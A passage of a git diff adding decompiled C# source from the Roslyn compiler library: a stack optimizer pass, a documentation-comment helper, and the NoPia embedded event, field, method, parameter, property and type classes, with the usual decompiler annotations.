enumerator.Current; + DeclareLocal(current, stack); + } + } + + private void DeclareLocal(LocalSymbol local, int stack) + { + if ((object)local != null && CanScheduleToStack(local)) + { + if (!_locals.TryGetValue(local, out var value)) + { + _locals.Add(local, LocalDefUseInfo.GetInstance(stack)); + } + else if (value.StackAtDeclaration != stack) + { + value.ShouldNotSchedule(); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/StackOptimizerPass2.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/StackOptimizerPass2.cs new file mode 100644 index 0000000..332c7ea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/StackOptimizerPass2.cs @@ -0,0 +1,218 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal sealed class StackOptimizerPass2 : BoundTreeRewriterWithStackGuard +{ + private int _nodeCounter; + + private readonly Dictionary _info; + + private StackOptimizerPass2(Dictionary info) + { + _info = info; + } + + public static BoundStatement Rewrite(BoundStatement src, Dictionary info) + { + return (BoundStatement)new StackOptimizerPass2(info).Visit(src); + } + + public override BoundNode Visit(BoundNode node) + { + BoundNode result = ((!(node is BoundExpression boundExpression) || !(boundExpression.ConstantValueOpt != (ConstantValue)null)) ? base.Visit(node) : node); + _nodeCounter++; + return result; + } + + public override BoundNode VisitBinaryOperator(BoundBinaryOperator node) + { + BoundExpression left = node.Left; + if (left.Kind != BoundKind.BinaryOperator || left.ConstantValueOpt != (ConstantValue)null) + { + return base.VisitBinaryOperator(node); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)left; + while (true) + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperator); + left = boundBinaryOperator.Left; + if (left.Kind != BoundKind.BinaryOperator || left.ConstantValueOpt != (ConstantValue)null) + { + break; + } + boundBinaryOperator = (BoundBinaryOperator)left; + } + BoundExpression boundExpression = (BoundExpression)Visit(left); + while (true) + { + boundBinaryOperator = ArrayBuilderExtensions.Pop(instance); + BoundExpression right = (BoundExpression)Visit(boundBinaryOperator.Right); + TypeSymbol type = VisitType(boundBinaryOperator.Type); + boundExpression = boundBinaryOperator.Update(boundBinaryOperator.OperatorKind, boundBinaryOperator.ConstantValueOpt, boundBinaryOperator.Method, boundBinaryOperator.ConstrainedToType, boundBinaryOperator.ResultKind, boundExpression, right, type); + if (instance.Count == 0) + { + break; + } + _nodeCounter++; + } + instance.Free(); + return boundExpression; + } + + private static bool IsLastAccess(LocalDefUseInfo locInfo, int counter) + { + return ArrayBuilderExtensions.Any(locInfo.LocalDefs, (Func)((LocalDefUseSpan d) => counter == d.Start && counter == d.End)); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (!_info.TryGetValue(node.LocalSymbol, out var value)) + { + return base.VisitLocal(node); + } + if (!IsLastAccess(value, _nodeCounter)) + { + return new BoundDup(node.Syntax, node.LocalSymbol.RefKind, node.Type); + } + return base.VisitLocal(node); + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.Constructor, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.ConstantValueOpt, null, type); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (!(node.Left is BoundLocal boundLocal) || !_info.TryGetValue(boundLocal.LocalSymbol, out var value)) + { + return base.VisitAssignmentOperator(node); + } + if ((int)boundLocal.LocalSymbol.RefKind != 0 && !node.IsRef) + { + return base.VisitAssignmentOperator(node); + } + _nodeCounter++; + BoundExpression boundExpression = (BoundExpression)Visit(node.Right); + if (IsLastAccess(value, _nodeCounter)) + { + return boundExpression; + } + return node.Update(boundLocal, boundExpression, node.IsRef, node.Type); + } + + public override BoundNode VisitCall(BoundCall node) + { + if (node.ReceiverOpt is BoundCall boundCall) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = boundCall; + while (node.ReceiverOpt is BoundCall boundCall2) + { + ArrayBuilderExtensions.Push(instance, node); + node = boundCall2; + } + BoundExpression boundExpression = visitReceiver(node); + while (true) + { + boundExpression = visitArgumentsAndUpdateCall(node, boundExpression); + if (!ArrayBuilderExtensions.TryPop(instance, ref node)) + { + break; + } + _nodeCounter++; + } + instance.Free(); + return boundExpression; + } + BoundExpression receiverOpt = visitReceiver(node); + return visitArgumentsAndUpdateCall(node, receiverOpt); + BoundExpression visitArgumentsAndUpdateCall(BoundCall boundCall3, BoundExpression? receiverOpt2) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray arguments = VisitList(boundCall3.Arguments); + TypeSymbol type = VisitType(boundCall3.Type); + return boundCall3.Update(receiverOpt2, boundCall3.InitialBindingReceiverIsSubjectToCloning, boundCall3.Method, arguments, boundCall3.ArgumentNamesOpt, boundCall3.ArgumentRefKindsOpt, boundCall3.IsDelegateCall, boundCall3.Expanded, boundCall3.InvokedAsExtensionMethod, boundCall3.ArgsToParamsOpt, boundCall3.DefaultArguments, boundCall3.ResultKind, boundCall3.OriginalMethodsOpt, type); + } + BoundExpression? visitReceiver(BoundCall boundCall3) + { + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Invalid comparison between Unknown and I4 + BoundExpression boundExpression2 = boundCall3.ReceiverOpt; + if (boundCall3.Method.RequiresInstanceReceiver) + { + boundExpression2 = (BoundExpression)Visit(boundExpression2); + } + else + { + _nodeCounter++; + if (boundExpression2 is BoundTypeExpression { AliasOpt: null, BoundContainingTypeOpt: null } boundTypeExpression && boundTypeExpression.BoundDimensionsOpt.IsEmpty) + { + TypeSymbol type = boundTypeExpression.Type; + if ((object)type != null && (int)type.TypeKind == 11) + { + boundExpression2 = boundTypeExpression.Update(null, null, ImmutableArray.Empty, boundTypeExpression.TypeWithAnnotations, VisitType(boundTypeExpression.Type)); + goto IL_00a7; + } + } + if (boundExpression2 != null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/Optimizer.cs", 2259); + } + } + goto IL_00a7; + IL_00a7: + return boundExpression2; + } + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + BoundExpression boundExpression = node.ExceptionSourceOpt; + TypeSymbol exceptionTypeOpt = node.ExceptionTypeOpt; + BoundStatementList exceptionFilterPrologueOpt = node.ExceptionFilterPrologueOpt; + BoundExpression boundExpression2 = node.ExceptionFilterOpt; + BoundBlock body = node.Body; + if (boundExpression != null) + { + _nodeCounter++; + if (boundExpression.Kind == BoundKind.Local) + { + LocalSymbol localSymbol = ((BoundLocal)boundExpression).LocalSymbol; + if (_info.TryGetValue(localSymbol, out var value) && IsLastAccess(value, _nodeCounter)) + { + boundExpression = null; + } + } + else + { + boundExpression = (BoundExpression)Visit(boundExpression); + } + _nodeCounter++; + } + exceptionFilterPrologueOpt = ((exceptionFilterPrologueOpt != null) ? ((BoundStatementList)Visit(exceptionFilterPrologueOpt)) : null); + if (boundExpression2 != null) + { + boundExpression2 = (BoundExpression)Visit(boundExpression2); + _nodeCounter++; + } + body = (BoundBlock)Visit(body); + exceptionTypeOpt = VisitType(exceptionTypeOpt); + return node.Update(node.Locals, boundExpression, exceptionTypeOpt, exceptionFilterPrologueOpt, boundExpression2, body, node.IsSynthesizedAsyncCatchAll); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.DocumentationComments/PEDocumentationCommentUtils.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.DocumentationComments/PEDocumentationCommentUtils.cs new file mode 100644 index 0000000..a26601e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.DocumentationComments/PEDocumentationCommentUtils.cs @@ -0,0 +1,22 @@ +using System; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +namespace Microsoft.CodeAnalysis.CSharp.DocumentationComments; + +internal static class PEDocumentationCommentUtils +{ + internal static string GetDocumentationComment(Symbol symbol, PEModuleSymbol containingPEModule, CultureInfo preferredCulture, CancellationToken cancellationToken, ref Tuple lazyDocComment) + { + if (lazyDocComment == null) + { + Interlocked.CompareExchange(ref lazyDocComment, Tuple.Create(preferredCulture, containingPEModule.DocumentationProvider.GetDocumentationForSymbol(symbol.GetDocumentationCommentId(), preferredCulture, cancellationToken)), null); + } + if (object.Equals(lazyDocComment.Item1, preferredCulture)) + { + return lazyDocComment.Item2; + } + return containingPEModule.DocumentationProvider.GetDocumentationForSymbol(symbol.GetDocumentationCommentId(), preferredCulture, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedEvent.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedEvent.cs new file mode 100644 index 0000000..9b3e4ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedEvent.cs @@ -0,0 +1,106 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedEvent : CommonEmbeddedEvent +{ + protected override bool IsRuntimeSpecial => base.UnderlyingEvent.AdaptedEventSymbol.HasRuntimeSpecialName; + + protected override bool IsSpecialName => base.UnderlyingEvent.AdaptedEventSymbol.HasSpecialName; + + protected override EmbeddedType ContainingType => ((CommonEmbeddedMethod)base.AnAccessor).ContainingType; + + protected override TypeMemberVisibility Visibility => PEModuleBuilder.MemberVisibility(base.UnderlyingEvent.AdaptedEventSymbol); + + protected override string Name => base.UnderlyingEvent.AdaptedEventSymbol.MetadataName; + + public EmbeddedEvent(EventSymbol underlyingEvent, EmbeddedMethod adder, EmbeddedMethod remover) + : base(underlyingEvent, adder, remover, (EmbeddedMethod)null) + { + } + + protected override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return base.UnderlyingEvent.AdaptedEventSymbol.GetCustomAttributesToEmit(moduleBuilder); + } + + protected override ITypeReference GetType(PEModuleBuilder moduleBuilder, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + return ((PEModuleBuilder)moduleBuilder).Translate(base.UnderlyingEvent.AdaptedEventSymbol.Type, syntaxNodeOpt, diagnostics); + } + + protected override void EmbedCorrespondingComEventInterfaceMethodInternal(SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool isUsedForComAwareEventBinding) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol adaptedNamedTypeSymbol = ((CommonEmbeddedType)((CommonEmbeddedEvent)this).ContainingType).UnderlyingNamedType.AdaptedNamedTypeSymbol; + ImmutableArray.Enumerator enumerator = adaptedNamedTypeSymbol.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (!current.IsTargetAttribute(adaptedNamedTypeSymbol, AttributeDescription.ComEventInterfaceAttribute)) + { + continue; + } + bool flag = false; + NamedTypeSymbol namedTypeSymbol = null; + if (((AttributeData)current).CommonConstructorArguments.Length == 2) + { + TypedConstant val = ((AttributeData)current).CommonConstructorArguments[0]; + namedTypeSymbol = ((TypedConstant)(ref val)).ValueInternal as NamedTypeSymbol; + if ((object)namedTypeSymbol != null) + { + flag = EmbedMatchingInterfaceMethods(namedTypeSymbol, syntaxNodeOpt, diagnostics); + ImmutableArray.Enumerator enumerator2 = namedTypeSymbol.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if (EmbedMatchingInterfaceMethods(current2, syntaxNodeOpt, diagnostics)) + { + flag = true; + } + } + } + } + if (!flag && isUsedForComAwareEventBinding) + { + if ((object)namedTypeSymbol == null) + { + EmbeddedTypesManager.Error(diagnostics, ErrorCode.ERR_MissingSourceInterface, syntaxNodeOpt, adaptedNamedTypeSymbol, base.UnderlyingEvent.AdaptedEventSymbol); + break; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.DiscardedDependencies; + namedTypeSymbol.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + diagnostics.Add((syntaxNodeOpt == null) ? NoLocation.Singleton : syntaxNodeOpt.Location, useSiteInfo.Diagnostics); + EmbeddedTypesManager.Error(diagnostics, ErrorCode.ERR_MissingMethodOnSourceInterface, syntaxNodeOpt, namedTypeSymbol, base.UnderlyingEvent.AdaptedEventSymbol.MetadataName, base.UnderlyingEvent.AdaptedEventSymbol); + } + break; + } + } + + private bool EmbedMatchingInterfaceMethods(NamedTypeSymbol sourceInterface, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + bool result = false; + ImmutableArray.Enumerator enumerator = sourceInterface.GetMembers(base.UnderlyingEvent.AdaptedEventSymbol.MetadataName).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9) + { + ((EmbeddedTypesManager)((CommonEmbeddedMember)(object)this).TypeManager).EmbedMethodIfNeedTo(((MethodSymbol)current).GetCciAdapter(), syntaxNodeOpt, diagnostics); + result = true; + } + } + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedField.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedField.cs new file mode 100644 index 0000000..4eec19b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedField.cs @@ -0,0 +1,54 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedField : CommonEmbeddedField +{ + internal override EmbeddedTypesManager TypeManager => ((CommonEmbeddedType)base.ContainingType).TypeManager; + + protected override bool IsCompileTimeConstant => base.UnderlyingField.AdaptedFieldSymbol.IsMetadataConstant; + + protected override bool IsNotSerialized => base.UnderlyingField.AdaptedFieldSymbol.IsNotSerialized; + + protected override bool IsReadOnly => base.UnderlyingField.AdaptedFieldSymbol.IsReadOnly; + + protected override bool IsRuntimeSpecial => base.UnderlyingField.AdaptedFieldSymbol.HasRuntimeSpecialName; + + protected override bool IsSpecialName => base.UnderlyingField.AdaptedFieldSymbol.HasSpecialName; + + protected override bool IsStatic => base.UnderlyingField.AdaptedFieldSymbol.IsStatic; + + protected override bool IsMarshalledExplicitly => base.UnderlyingField.AdaptedFieldSymbol.IsMarshalledExplicitly; + + protected override IMarshallingInformation MarshallingInformation => (IMarshallingInformation)(object)base.UnderlyingField.AdaptedFieldSymbol.MarshallingInformation; + + protected override ImmutableArray MarshallingDescriptor => base.UnderlyingField.AdaptedFieldSymbol.MarshallingDescriptor; + + protected override int? TypeLayoutOffset => base.UnderlyingField.AdaptedFieldSymbol.TypeLayoutOffset; + + protected override TypeMemberVisibility Visibility => PEModuleBuilder.MemberVisibility(base.UnderlyingField.AdaptedFieldSymbol); + + protected override string Name => base.UnderlyingField.AdaptedFieldSymbol.MetadataName; + + public EmbeddedField(EmbeddedType containingType, FieldSymbol underlyingField) + : base(containingType, underlyingField) + { + } + + protected override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return base.UnderlyingField.AdaptedFieldSymbol.GetCustomAttributesToEmit(moduleBuilder); + } + + protected override MetadataConstant GetCompileTimeValue(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return base.UnderlyingField.GetMetadataConstantValue(context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedMethod.cs new file mode 100644 index 0000000..b4ddaf6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedMethod.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedMethod : CommonEmbeddedMethod +{ + internal override EmbeddedTypesManager TypeManager => ((CommonEmbeddedType)base.ContainingType).TypeManager; + + protected override bool IsAbstract => base.UnderlyingMethod.AdaptedMethodSymbol.IsAbstract; + + protected override bool IsAccessCheckedOnOverride => base.UnderlyingMethod.AdaptedMethodSymbol.IsAccessCheckedOnOverride; + + protected override bool IsConstructor => (int)base.UnderlyingMethod.AdaptedMethodSymbol.MethodKind == 1; + + protected override bool IsExternal => base.UnderlyingMethod.AdaptedMethodSymbol.IsExternal; + + protected override bool IsHiddenBySignature => !base.UnderlyingMethod.AdaptedMethodSymbol.HidesBaseMethodsByName; + + protected override bool IsNewSlot => base.UnderlyingMethod.AdaptedMethodSymbol.IsMetadataNewSlot(); + + protected override IPlatformInvokeInformation PlatformInvokeData => (IPlatformInvokeInformation)(object)base.UnderlyingMethod.AdaptedMethodSymbol.GetDllImportData(); + + protected override bool IsRuntimeSpecial => base.UnderlyingMethod.AdaptedMethodSymbol.HasRuntimeSpecialName; + + protected override bool IsSpecialName => base.UnderlyingMethod.AdaptedMethodSymbol.HasSpecialName; + + protected override bool IsSealed => base.UnderlyingMethod.AdaptedMethodSymbol.IsMetadataFinal; + + protected override bool IsStatic => base.UnderlyingMethod.AdaptedMethodSymbol.IsStatic; + + protected override bool IsVirtual => base.UnderlyingMethod.AdaptedMethodSymbol.IsMetadataVirtual(); + + protected override bool ReturnValueIsMarshalledExplicitly => base.UnderlyingMethod.AdaptedMethodSymbol.ReturnValueIsMarshalledExplicitly; + + protected override IMarshallingInformation ReturnValueMarshallingInformation => (IMarshallingInformation)(object)base.UnderlyingMethod.AdaptedMethodSymbol.ReturnValueMarshallingInformation; + + protected override ImmutableArray ReturnValueMarshallingDescriptor => base.UnderlyingMethod.AdaptedMethodSymbol.ReturnValueMarshallingDescriptor; + + protected override TypeMemberVisibility Visibility => PEModuleBuilder.MemberVisibility(base.UnderlyingMethod.AdaptedMethodSymbol); + + protected override string Name => base.UnderlyingMethod.AdaptedMethodSymbol.MetadataName; + + protected override bool AcceptsExtraArguments => base.UnderlyingMethod.AdaptedMethodSymbol.IsVararg; + + protected override ISignature UnderlyingMethodSignature => (ISignature)(object)base.UnderlyingMethod; + + protected override INamespace ContainingNamespace => (INamespace)(object)base.UnderlyingMethod.AdaptedMethodSymbol.ContainingNamespace.GetCciAdapter(); + + public EmbeddedMethod(EmbeddedType containingType, MethodSymbol underlyingMethod) + : base(containingType, underlyingMethod) + { + } + + protected override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return base.UnderlyingMethod.AdaptedSymbol.GetCustomAttributesToEmit(moduleBuilder); + } + + protected override ImmutableArray GetParameters() + { + return EmbeddedTypesManager.EmbedParameters((CommonEmbeddedMember)(object)this, base.UnderlyingMethod.AdaptedMethodSymbol.Parameters); + } + + protected override ImmutableArray GetTypeParameters() + { + return ImmutableArrayExtensions.SelectAsArray(base.UnderlyingMethod.AdaptedMethodSymbol.TypeParameters, (Func)((TypeParameterSymbol t, EmbeddedMethod m) => new EmbeddedTypeParameter(m, t.GetCciAdapter())), this); + } + + protected override MethodImplAttributes GetImplementationAttributes(EmitContext context) + { + return base.UnderlyingMethod.AdaptedMethodSymbol.ImplementationAttributes; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedParameter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedParameter.cs new file mode 100644 index 0000000..c45d4f9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedParameter.cs @@ -0,0 +1,48 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedParameter : CommonEmbeddedParameter +{ + protected override bool HasDefaultValue => base.UnderlyingParameter.AdaptedParameterSymbol.HasMetadataConstantValue; + + protected override bool IsIn => base.UnderlyingParameter.AdaptedParameterSymbol.IsMetadataIn; + + protected override bool IsOut => base.UnderlyingParameter.AdaptedParameterSymbol.IsMetadataOut; + + protected override bool IsOptional => base.UnderlyingParameter.AdaptedParameterSymbol.IsMetadataOptional; + + protected override bool IsMarshalledExplicitly => base.UnderlyingParameter.AdaptedParameterSymbol.IsMarshalledExplicitly; + + protected override IMarshallingInformation MarshallingInformation => (IMarshallingInformation)(object)base.UnderlyingParameter.AdaptedParameterSymbol.MarshallingInformation; + + protected override ImmutableArray MarshallingDescriptor => base.UnderlyingParameter.AdaptedParameterSymbol.MarshallingDescriptor; + + protected override string Name => base.UnderlyingParameter.AdaptedParameterSymbol.MetadataName; + + protected override IParameterTypeInformation UnderlyingParameterTypeInformation => (IParameterTypeInformation)(object)base.UnderlyingParameter; + + protected override ushort Index => (ushort)base.UnderlyingParameter.AdaptedParameterSymbol.Ordinal; + + public EmbeddedParameter(CommonEmbeddedMember containingPropertyOrMethod, ParameterSymbol underlyingParameter) + : base(containingPropertyOrMethod, underlyingParameter) + { + } + + protected override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return base.UnderlyingParameter.AdaptedParameterSymbol.GetCustomAttributesToEmit(moduleBuilder); + } + + protected override MetadataConstant GetDefaultValue(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return base.UnderlyingParameter.GetMetadataConstantValue(context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedProperty.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedProperty.cs new file mode 100644 index 0000000..c5cd571 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedProperty.cs @@ -0,0 +1,37 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit.NoPia; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedProperty : CommonEmbeddedProperty +{ + protected override bool IsRuntimeSpecial => base.UnderlyingProperty.AdaptedPropertySymbol.HasRuntimeSpecialName; + + protected override bool IsSpecialName => base.UnderlyingProperty.AdaptedPropertySymbol.HasSpecialName; + + protected override ISignature UnderlyingPropertySignature => (ISignature)(object)base.UnderlyingProperty; + + protected override EmbeddedType ContainingType => ((CommonEmbeddedMethod)base.AnAccessor).ContainingType; + + protected override TypeMemberVisibility Visibility => PEModuleBuilder.MemberVisibility(base.UnderlyingProperty.AdaptedPropertySymbol); + + protected override string Name => base.UnderlyingProperty.AdaptedPropertySymbol.MetadataName; + + public EmbeddedProperty(PropertySymbol underlyingProperty, EmbeddedMethod getter, EmbeddedMethod setter) + : base(underlyingProperty, getter, setter) + { + } + + protected override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return base.UnderlyingProperty.AdaptedPropertySymbol.GetCustomAttributesToEmit(moduleBuilder); + } + + protected override ImmutableArray GetParameters() + { + return EmbeddedTypesManager.EmbedParameters((CommonEmbeddedMember)(object)this, base.UnderlyingProperty.AdaptedPropertySymbol.Parameters); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedType.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedType.cs new file mode 100644 index 0000000..23a761a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedType.cs @@ -0,0 +1,216 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedType : CommonEmbeddedType +{ + private bool _embeddedAllMembersOfImplementedInterface; + + protected override bool IsPublic => (int)base.UnderlyingNamedType.AdaptedNamedTypeSymbol.DeclaredAccessibility == 6; + + protected override bool IsAbstract => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsMetadataAbstract; + + protected override bool IsBeforeFieldInit + { + get + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected I4, but got Unknown + TypeKind typeKind = base.UnderlyingNamedType.AdaptedNamedTypeSymbol.TypeKind; + switch (typeKind - 3) + { + case 0: + case 2: + case 4: + return false; + default: + return true; + } + } + } + + protected override bool IsComImport => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsComImport; + + protected override bool IsInterface => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsInterfaceType(); + + protected override bool IsDelegate => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsDelegateType(); + + protected override bool IsSerializable => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsSerializable; + + protected override bool IsSpecialName => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.HasSpecialName; + + protected override bool IsWindowsRuntimeImport => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsWindowsRuntimeImport; + + protected override bool IsSealed => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsMetadataSealed; + + protected override CharSet StringFormat => base.UnderlyingNamedType.AdaptedNamedTypeSymbol.MarshallingCharSet; + + public EmbeddedType(EmbeddedTypesManager typeManager, NamedTypeSymbol underlyingNamedType) + : base(typeManager, underlyingNamedType) + { + } + + public void EmbedAllMembersOfImplementedInterface(SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + if (_embeddedAllMembersOfImplementedInterface) + { + return; + } + _embeddedAllMembersOfImplementedInterface = true; + foreach (MethodSymbol item in base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetMethodsToEmit()) + { + if ((object)item != null) + { + ((EmbeddedTypesManager)base.TypeManager).EmbedMethod(this, item.GetCciAdapter(), syntaxNodeOpt, diagnostics); + } + } + ImmutableArray.Enumerator enumerator2 = base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetInterfacesToEmit().GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + ((EmbeddedTypesManager)base.TypeManager).ModuleBeingBuilt.Translate(current2, syntaxNodeOpt, diagnostics, fromImplements: true); + } + } + + protected override int GetAssemblyRefIndex() + { + return ImmutableArrayExtensions.IndexOf(((PEModuleBuilder)((EmbeddedTypesManager)base.TypeManager).ModuleBeingBuilt).SourceModule.GetReferencedAssemblySymbols(), base.UnderlyingNamedType.AdaptedNamedTypeSymbol.ContainingAssembly, 